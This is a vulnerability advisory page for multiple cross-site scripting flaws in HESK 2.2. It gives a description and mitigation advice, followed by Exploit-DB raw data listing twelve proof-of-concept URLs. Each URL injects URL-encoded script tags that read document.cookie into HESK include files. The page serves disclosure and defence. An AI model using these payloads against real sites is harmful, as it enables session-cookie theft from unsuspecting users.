HESK Multiple Cross-Site Scripting Vulnerabilities

vendor:

HESK

by:

7.5

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: HESK

Affected Version From: 2.2

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

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HESK Multiple Cross-Site Scripting Vulnerabilities

HESK is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to sanitize and validate user-supplied input before using it in web pages or database queries. Additionally, implementing a web application firewall (WAF) can help detect and block XSS attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/49008/info

HESK is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

HESK 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/inc/header.inc.php?hesk_settings[tmp_title]=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E
http://www.example.com/inc/header.inc.php?hesklang[ENCODING]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/assignment_search.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E
http://www.example.com/inc/attachments.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/common.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/database.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/prepare_ticket_search.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E
http://www.example.com/inc/print_tickets.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/inc/show_admin_nav.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3 E
http://www.example.com/inc/show_search_form.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://www.example.com/inc/ticket_list.inc.php?hesklang[attempt]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/language/en/text.php/%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E